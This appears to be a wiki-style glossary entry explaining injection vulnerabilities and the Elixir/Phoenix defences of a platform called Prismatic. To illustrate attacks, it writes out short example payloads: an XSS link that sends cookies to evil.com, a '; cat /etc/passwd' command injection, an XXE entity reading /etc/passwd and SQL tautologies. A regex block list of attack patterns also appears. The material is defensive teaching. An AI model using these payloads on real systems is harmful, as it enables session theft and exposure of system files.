Injection Vulnerability

security

Injection Vulnerability

Definition

An injection vulnerability is a class of security flaw in which an attacker can insert (inject) malicious code, commands, or data into a system through input channels that fail to properly validate, sanitize, or parameterize user-supplied content. When the system processes this input without adequate protective measures, the injected payload is interpreted as trusted instructions rather than data, enabling the attacker to execute unauthorized operations -- reading, modifying, or deleting data; executing system commands; bypassing authentication; or escalating privileges.

Injection vulnerabilities have consistently ranked among the most critical web application security risks since OWASP began tracking them. In the OWASP Top 10 (2021 edition), injection is ranked as A03 (previously A01 for many years), reflecting both its prevalence and its severe impact. The category encompasses multiple sub-types: SQL injection, cross-site scripting (XSS), command injection, LDAP injection, XML injection, header injection, and template injection -- each exploiting a different boundary where user input meets system interpretation.

In the Prismatic Platform, injection prevention is enforced at multiple layers: Ecto parameterized queries prevent SQL injection by design, Phoenix HEEx templates auto-escape output to prevent XSS, input validation plugs enforce type and format constraints at the API gateway level, and the Credo static analysis pipeline detects unsafe patterns before code reaches production.

Overview

The root cause of all injection vulnerabilities is the same fundamental design flaw: mixing code and data in the same channel without adequate separation. When a SQL query is constructed by concatenating user input with SQL keywords, the database engine cannot distinguish between the developer's intended query structure and the attacker's injected payload. The same principle applies to HTML (XSS), shell commands (command injection), and every other injection vector.

Consider the anatomy of a SQL injection:

Developer intends: SELECT * FROM users WHERE name = '<user_input>'
Attacker provides: ' OR '1'='1' --
Database executes: SELECT * FROM users WHERE name = '' OR '1'='1' --'
Result: Returns ALL users instead of just the intended one

The attack succeeds because the single quote character (') escapes the data context and enters the code context. The injected OR '1'='1' always evaluates to true, and the -- comments out the rest of the query. This transforms a simple lookup into a full table dump.

The defense against injection follows a hierarchy of effectiveness:

  1. Parameterized queries / Prepared statements (strongest): Separate the query structure from data values at the protocol level. The database engine receives the query template and parameters independently, making injection structurally impossible.

  2. Input validation / Whitelisting: Accept only inputs that match expected patterns (alphanumeric, specific formats). Reject anything that does not conform. This is defense-in-depth, not a primary defense.

  3. Output encoding / Escaping: When displaying user-supplied data, encode it appropriately for the output context (HTML entity encoding, URL encoding, JavaScript string escaping). This prevents stored XSS.

  4. Least privilege: Even if injection succeeds, limit the damage by running database connections with minimal permissions and restricting shell access.

Technical Details

SQL Injection

The most impactful injection type, SQL injection allows attackers to manipulate database queries. Sub-categories include:

Classic (In-Band): The attacker's payload modifies the query, and results are returned directly in the application's response. This includes UNION-based injection (appending additional SELECT statements) and error-based injection (extracting data through error messages).

Blind: The application does not return query results or error messages, but the attacker can infer information through boolean conditions (does the page load differently?) or time delays (does SLEEP(5) cause a 5-second response?).

Second-Order: The malicious input is stored in the database and executed later when retrieved and used in a different query. This is particularly insidious because the injection point and the exploitation point are separated in time and code path.

Cross-Site Scripting (XSS)

XSS allows attackers to inject client-side scripts (typically JavaScript) into web pages viewed by other users:

Reflected XSS: The malicious script is embedded in a URL parameter, reflected in the response, and executed in the victim's browser. Example: https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Stored XSS: The malicious script is permanently stored (in a database, comment field, forum post) and executed whenever any user views the affected page. More dangerous than reflected XSS because it does not require the victim to click a crafted link.

DOM-based XSS: The vulnerability exists in client-side JavaScript that processes user input and writes it to the DOM without proper encoding. The server never sees the malicious payload; the attack happens entirely in the browser.

Command Injection

When an application passes user input to system shell commands without sanitization:

Application code: system("ping -c 1 " <> user_input)
Attacker provides: 127.0.0.1; cat /etc/passwd
Shell executes: ping -c 1 127.0.0.1; cat /etc/passwd

The semicolon terminates the intended command and starts a new one. The attacker can execute arbitrary system commands with the application's privileges.

Other Injection Types

TypeTargetExample PayloadPrevention
LDAP InjectionDirectory services`)(uid=))((uid=*`
XML InjectionXML parsers<!ENTITY xxe SYSTEM "file:///etc/passwd">Disable external entities
Header InjectionHTTP headers\r\nSet-Cookie: admin=trueStrip CRLF from header values
Template InjectionTemplate engines{{7*7}} or ${7*7}Sandbox templates, avoid user input in templates
NoSQL InjectionDocument databases{"$gt": ""}Type-check inputs, use ODM validations

Implementation in Prismatic Platform

Ecto Parameterized Queries

The platform's primary defense against SQL injection is Ecto's query system, which uses parameterized queries by default:

defmodule PrismaticSecurity.QuerySafety do
  @moduledoc """
  Demonstrates safe query construction patterns using Ecto.
  All queries use parameterized values, making SQL injection
  structurally impossible through the type system.
  """

  import Ecto.Query

  alias Prismatic.Repo

  @type search_params :: %{
          name: String.t(),
          status: String.t(),
          jurisdiction: String.t()
        }

  @doc """
  Safe entity search using Ecto parameterized queries.
  User input is NEVER interpolated into the query string.
  """
  @spec search_entities(search_params()) :: {:ok, list(map())}
  def search_entities(params) do
    query =
      from(e in "entities",
        where: e.name == ^params.name,
        where: e.status == ^params.status,
        where: e.jurisdiction == ^params.jurisdiction,
        select: %{id: e.id, name: e.name, status: e.status}
      )

    {:ok, Repo.all(query)}
  end

  @doc """
  Dynamic query building with safe parameter binding.
  Each filter condition uses ^pin operator for parameterization.
  """
  @spec dynamic_search(map()) :: {:ok, list(map())}
  def dynamic_search(filters) do
    base_query = from(e in "entities", select: %{id: e.id, name: e.name})

    query =
      Enum.reduce(filters, base_query, fn
        {:name, name}, q when is_binary(name) ->
          from(e in q, where: ilike(e.name, ^"%#{sanitize_like(name)}%"))

        {:status, status}, q when is_binary(status) ->
          from(e in q, where: e.status == ^status)

        {:min_confidence, min}, q when is_float(min) ->
          from(e in q, where: e.confidence >= ^min)

        _unknown_filter, q ->
          q
      end)

    {:ok, Repo.all(query)}
  end

  @doc """
  Sanitizes LIKE pattern special characters to prevent
  LIKE injection (wildcards in user input).
  """
  @spec sanitize_like(String.t()) :: String.t()
  def sanitize_like(input) do
    input
    |> String.replace("\\", "\\\\")
    |> String.replace("%", "\\%")
    |> String.replace("_", "\\_")
  end
end

Phoenix Input Validation Plug

Input validation at the controller level prevents malicious data from reaching business logic:

defmodule PrismaticWeb.Plugs.InputValidator do
  @moduledoc """
  Plug that validates and sanitizes incoming request parameters
  before they reach controller actions. Rejects requests with
  invalid or suspicious input patterns.
  """

  import Plug.Conn

  @behaviour Plug

  @type validation_rule :: %{
          field: String.t(),
          type: :string | :integer | :email | :uuid,
          max_length: non_neg_integer(),
          pattern: Regex.t() | nil
        }

  @suspicious_patterns [
    ~r/<script/i,
    ~r/javascript:/i,
    ~r/on\w+\s*=/i,
    ~r/union\s+select/i,
    ~r/;\s*drop\s+table/i,
    ~r/'\s*or\s+'1'\s*=\s*'1/i,
    ~r/--\s*$/,
    ~r/\/\*.*\*\//
  ]

  @impl Plug
  @spec init(keyword()) :: keyword()
  def init(opts), do: opts

  @impl Plug
  @spec call(Plug.Conn.t(), keyword()) :: Plug.Conn.t()
  def call(conn, opts) do
    rules = Keyword.get(opts, :rules, [])

    case validate_params(conn.params, rules) do
      :ok ->
        conn
        |> put_private(:validated_params, sanitize_all(conn.params))

      {:error, reason} ->
        conn
        |> put_status(400)
        |> Phoenix.Controller.json(%{error: "Invalid input", details: reason})
        |> halt()
    end
  end

  @spec validate_params(map(), list(validation_rule())) :: :ok | {:error, String.t()}
  def validate_params(params, rules) do
    with :ok <- check_suspicious_patterns(params),
         :ok <- check_field_rules(params, rules),
         :ok <- check_content_length(params) do
      :ok
    end
  end

  @spec check_suspicious_patterns(map()) :: :ok | {:error, String.t()}
  defp check_suspicious_patterns(params) do
    all_values = extract_string_values(params)

    suspicious =
      Enum.find(all_values, fn value ->
        Enum.any?(@suspicious_patterns, &Regex.match?(&1, value))
      end)

    case suspicious do
      nil -> :ok
      value -> {:error, "Suspicious input pattern detected in value: #{String.slice(value, 0, 50)}"}
    end
  end

  @spec check_field_rules(map(), list(validation_rule())) :: :ok | {:error, String.t()}
  defp check_field_rules(params, rules) do
    Enum.reduce_while(rules, :ok, fn rule, :ok ->
      value = Map.get(params, rule.field)

      case validate_field(value, rule) do
        :ok -> {:cont, :ok}
        {:error, _} = error -> {:halt, error}
      end
    end)
  end

  @spec validate_field(any(), validation_rule()) :: :ok | {:error, String.t()}
  defp validate_field(nil, _rule), do: :ok

  defp validate_field(value, %{type: :string, max_length: max}) when is_binary(value) do
    if String.length(value) <= max, do: :ok, else: {:error, "Value exceeds max length #{max}"}
  end

  defp validate_field(value, %{type: :integer}) when is_binary(value) do
    case Integer.parse(value) do
      {_int, ""} -> :ok
      _ -> {:error, "Expected integer value"}
    end
  end

  defp validate_field(value, %{type: :email}) when is_binary(value) do
    if Regex.match?(~r/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/, value) do
      :ok
    else
      {:error, "Invalid email format"}
    end
  end

  defp validate_field(value, %{type: :uuid}) when is_binary(value) do
    if Regex.match?(~r/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i, value) do
      :ok
    else
      {:error, "Invalid UUID format"}
    end
  end

  defp validate_field(_value, _rule), do: :ok

  @spec check_content_length(map()) :: :ok | {:error, String.t()}
  defp check_content_length(params) do
    total_size = params |> :erlang.term_to_binary() |> byte_size()

    if total_size > 1_000_000 do
      {:error, "Request payload too large"}
    else
      :ok
    end
  end

  @spec extract_string_values(map()) :: list(String.t())
  defp extract_string_values(params) do
    Enum.flat_map(params, fn
      {_key, value} when is_binary(value) -> [value]
      {_key, value} when is_map(value) -> extract_string_values(value)
      {_key, value} when is_list(value) -> Enum.filter(value, &is_binary/1)
      _ -> []
    end)
  end

  @spec sanitize_all(map()) :: map()
  defp sanitize_all(params) do
    Map.new(params, fn
      {key, value} when is_binary(value) -> {key, HtmlSanitizeEx.strip_tags(value)}
      {key, value} when is_map(value) -> {key, sanitize_all(value)}
      {key, value} -> {key, value}
    end)
  end
end

XSS Prevention in HEEx Templates

Phoenix's HEEx templates auto-escape all interpolated values by default, preventing XSS:

defmodule PrismaticWeb.SecurityComponents do
  @moduledoc """
  Security-aware UI components that demonstrate proper
  output encoding and XSS prevention patterns.
  """

  use Phoenix.Component

  @doc """
  Renders user-provided content with automatic HTML escaping.
  HEEx templates escape all `{@variable}` interpolations by default.
  The `raw/1` function is NEVER used with user-supplied data.
  """
  attr :content, :string, required: true
  attr :author, :string, required: true

  @spec safe_content_display(map()) :: Phoenix.LiveView.Rendered.t()
  def safe_content_display(assigns) do
    ~H"""
    <div class="rounded-lg border border-gray-700 bg-gray-800 p-4">
      <p class="text-sm text-gray-400">Posted by: {@author}</p>
      <div class="mt-2 text-gray-200">{@content}</div>
    </div>
    """
  end

  @doc """
  Renders a search results page with safely encoded query echo.
  The search query is displayed back to the user with full HTML escaping.
  """
  attr :query, :string, required: true
  attr :results, :list, required: true

  @spec search_results(map()) :: Phoenix.LiveView.Rendered.t()
  def search_results(assigns) do
    ~H"""
    <div class="space-y-4">
      <h2 class="text-lg font-semibold text-white">
        Results for: <span class="text-blue-400">{@query}</span>
      </h2>

      <ul class="space-y-2">
        <li :for={result <- @results} class="rounded bg-gray-800 p-3">
          <span class="text-gray-200">{result.name}</span>
          <span class="text-sm text-gray-500">{result.description}</span>
        </li>
      </ul>
    </div>
    """
  end
end

Static Analysis Detection

The platform's Credo custom checks detect unsafe patterns at compile time:

defmodule PrismaticCredo.Check.Security.UnsafeQueryConstruction do
  @moduledoc """
  Detects string interpolation in Ecto query fragments,
  which can lead to SQL injection vulnerabilities.

  Flags patterns like:
    fragment("SELECT * FROM users WHERE name = '\#{input}'")

  Recommends parameterized alternatives:
    fragment("SELECT * FROM users WHERE name = ?", ^input)
  """

  use Credo.Check,
    base_priority: :high,
    category: :warning,
    explanations: [
      check: """
      String interpolation in Ecto fragments bypasses parameterized
      query protection and can introduce SQL injection vulnerabilities.
      Always use ? placeholders with ^pinned variables.
      """
    ]

  @spec run(Credo.SourceFile.t(), list()) :: list(Credo.Issue.t())
  def run(%Credo.SourceFile{} = source_file, params) do
    issue_meta = IssueMeta.for(source_file, params)

    Credo.Code.prewalk(source_file, &traverse(&1, &2, issue_meta))
  end

  @spec traverse(Macro.t(), list(), Credo.IssueMeta.t()) :: {Macro.t(), list()}
  defp traverse(
         {:fragment, _meta, [string | _rest]} = ast,
         issues,
         issue_meta
       )
       when is_binary(string) do
    if String.contains?(string, "\#{") do
      new_issue = format_issue(issue_meta,
        message: "String interpolation in fragment/1 -- use parameterized ? placeholders instead",
        trigger: "fragment with interpolation"
      )

      {ast, [new_issue | issues]}
    else
      {ast, issues}
    end
  end

  defp traverse(ast, issues, _issue_meta), do: {ast, issues}
end

Comparison with Alternatives

Injection Prevention vs. WAF (Web Application Firewall)

WAFs inspect HTTP traffic and block requests matching known attack signatures. They provide a perimeter defense but are vulnerable to evasion techniques (encoding variations, payload fragmentation). Code-level injection prevention (parameterized queries) is fundamentally stronger because it eliminates the vulnerability rather than filtering attacks.

Parameterized Queries vs. Input Escaping

Input escaping transforms dangerous characters into safe representations (e.g., ' becomes \'). This is fragile -- different databases, encodings, and contexts require different escaping rules, and a single oversight enables exploitation. Parameterized queries separate the query structure from data at the protocol level, making escaping irrelevant.

Static Analysis vs. Runtime Detection

Static analysis (Credo, Dialyzer) catches unsafe patterns before deployment. Runtime detection (intrusion detection systems) catches exploitation attempts in production. Both are necessary: static analysis prevents known vulnerability patterns; runtime detection catches novel attacks and configuration errors.

Defense LayerWhenCatchesLimitations
Parameterized queriesCode-levelAll SQL injectionOnly applies to database queries
Template auto-escapingRender-timeMost XSSDoes not protect raw() usage
Input validationRequest-timeFormat violationsCannot catch all semantic attacks
Static analysisBuild-timeKnown patternsCannot catch runtime-constructed queries
WAFNetwork-levelKnown signaturesEvasion techniques, false positives
Runtime monitoringProductionActive exploitationAfter-the-fact detection

Best Practices

  1. Use parameterized queries exclusively: Never construct SQL by string concatenation or interpolation. In Ecto, this means using the ^ pin operator for all user-supplied values and ? placeholders in fragment/1 calls.

  2. Trust the template engine's auto-escaping: Phoenix HEEx templates escape all {@variable} interpolations by default. Never use raw/1 or Phoenix.HTML.raw/1 with user-supplied data. If raw HTML rendering is required, use a sanitization library first.

  3. Validate input at the boundary: Apply input validation as early as possible -- ideally in a Plug before the request reaches controller logic. Validate type, format, length, and character set. Reject invalid input with clear error messages.

  4. Apply defense in depth: Do not rely on a single defense layer. Use parameterized queries AND input validation AND output encoding AND WAF rules. Each layer catches what others miss.

  5. Use Content-Security-Policy headers: Set CSP headers to restrict script execution sources, mitigating the impact of XSS even if an injection point exists. Content-Security-Policy: default-src 'self'; script-src 'self' prevents inline script execution.

  6. Audit third-party dependencies: Injection vulnerabilities in dependencies (libraries, frameworks) can affect your application. Monitor CVE databases and update promptly. Use mix deps.audit for Elixir dependency scanning.

  7. Test with injection payloads: Include injection payloads in your test suite. Test that SQL injection attempts return errors (not data), that XSS payloads are escaped in output, and that command injection attempts are blocked.

Common Pitfalls

  1. Trusting client-side validation: Client-side validation (JavaScript form checks) improves UX but provides zero security. Attackers bypass it trivially with browser developer tools or direct HTTP requests. All validation must be repeated server-side.

  2. Incomplete input validation: Validating some fields but not others, or validating format but not length. A 10MB input string, even if it passes format checks, can cause denial of service through excessive processing.

  3. Using raw/1 for formatting: Developers sometimes use raw/1 to render HTML stored in the database (rich text editors, markdown). If that HTML was originally user-supplied, this creates stored XSS. Always sanitize HTML before storage and before rendering.

  4. Logging unsanitized input: Writing raw user input to log files can enable log injection attacks (injecting fake log entries, exploiting log viewer XSS). Sanitize inputs before logging.

  5. LIKE clause injection: Even with parameterized queries, user input in LIKE clauses can contain wildcards (%, _) that alter query semantics. Use sanitize_like/1 to escape LIKE-specific characters.

  6. Second-order injection blindness: Focusing on direct input handling while ignoring stored data that is later used in queries. Every data path from user input to query construction must be parameterized, regardless of intermediate storage.

Use Cases

API Input Validation

The Prismatic API Gateway validates all incoming request parameters using OpenApiSpex schema validation. This type-level enforcement prevents malformed inputs from reaching business logic, providing the first line of defense against injection.

OSINT Data Ingestion

When ingesting data from external OSINT sources, the platform treats all external data as untrusted. Entity names, addresses, and identifiers from registries are parameterized when stored in the database and sanitized when displayed in dashboards.

LiveView Event Handling

Phoenix LiveView events carry user-supplied parameters. Every handle_event/3 callback validates and sanitizes parameters before processing, preventing injection through WebSocket channels.

Search Functionality

Search features are high-risk injection targets because they naturally accept freeform text input. The platform's search uses parameterized queries with LIKE sanitization, preventing both SQL injection and LIKE-based data extraction.

Report Generation

When generating reports that include user-supplied labels, titles, or descriptions, the platform escapes all dynamic content for the target format (HTML, PDF, CSV) to prevent injection in downstream renderers.

  • Attack Surface -- the total set of points where injection can be attempted
  • EASM -- external attack surface management that discovers injection-vulnerable endpoints
  • CVE -- common vulnerabilities and exposures database tracking known injection flaws
  • Compliance Framework -- regulatory frameworks (PCI DSS, SOC 2) that mandate injection prevention
  • Audit Trail -- logging infrastructure for detecting and investigating injection attempts
  • Ecto -- Elixir database wrapper providing parameterized queries by default
  • Credo -- static analysis tool with custom checks for unsafe query patterns
  • GDPR -- data protection regulation requiring security measures including injection prevention
  • Certificate Transparency -- security mechanism that can reveal compromised infrastructure
  • Cyber Threat Intelligence -- intelligence feeds tracking active injection campaigns

See Also

  • Encryption at Rest -- defense-in-depth measure protecting data if injection succeeds
  • DNS Enumeration -- reconnaissance technique that may reveal injection-vulnerable services
  • Endpoint -- the Phoenix endpoint where HTTP-level security headers are configured
  • Circuit Breaker -- pattern that limits damage from successful injection attacks
  • Disaster Recovery -- recovery procedures for post-injection data corruption

Connect & Contribute

Created by Tomas Korcak (korczis) | Open Source under GHL